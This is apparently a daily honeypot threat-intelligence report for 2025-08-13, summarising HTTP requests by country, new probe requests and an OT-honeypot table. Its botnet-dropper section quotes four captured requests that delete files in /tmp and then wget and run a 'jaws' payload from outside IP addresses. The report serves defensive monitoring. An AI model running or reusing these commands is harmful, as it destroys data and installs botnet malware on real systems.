Table of Contents

Daily Report: 2025-08-13
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

Executive summary
OT report simplified
Botnet dropper behaviour
List of request
List of country_iso_code

executive_summary
#

In today’s repport, we detected 4 stage 1 IP address(es), linked to 2 dropper URL(s).

There are 11 new requests that have never been observed before (these were added to the monitored request database.).

A total of 932 requests were recorded during the day, originating from 4 different countries, with a peak of 430 requests coming from GB.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
GB	Dubai
GB	Dubai

botnet_dropper_behaviour
#

remote_addr	request
8.222.142.60	GET /shell?cd+/tmp;rm+-rf+*;wget+ 213.209.150.159/jaws;sh+/tmp/jaws HTTP/1.1
8.222.169.96	GET /shell?cd+/tmp;rm+-rf+*;wget+ 213.209.150.159/jaws;sh+/tmp/jaws HTTP/1.1
156.215.110.133	GET /shell?cd+/tmp;rm+-rf+*;wget+ 213.209.150.159/jaws;sh+/tmp/jaws HTTP/1.1
59.36.175.218	GET /shell?cd+/tmp;rm+-rf+*;wget+196.251.86.86/jaws;sh+/tmp/jaws HTTP/1.1

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

	number_of_occurence	request
63	3	GET login.cgi HTTP/1.1
257	1	GET /odinhttpcall1755099058 HTTP/1.1
258	1	GET /OdinHttpCall1755099058 HTTP/1.1
259	1	GET /Odin/http/call1755099058 HTTP/1.1
294	1	GET /OdinHttpCall1755086418 HTTP/1.1
295	1	GET /Odin/http/call1755086418 HTTP/1.1
304	1	GET /odinhttpcall1755086418 HTTP/1.1
314	1	\x00\x0E\x08I\x22q\xE7OPk\xF4\x00\x00\x00\x00\x00
315	1	\x00\x0E8I\x22q\xE7OPk\xF4\x00\x00\x00\x00\x00
316	1	\x00\x0E\x08\xE2b\x07\xD7\xF6\xC8q\xA5\x00\x00\x00\x00\x00
317	1	\x00\x0E8\xE2b\x07\xD7\xF6\xC8q\xA5\x00\x00\x00\x00\x00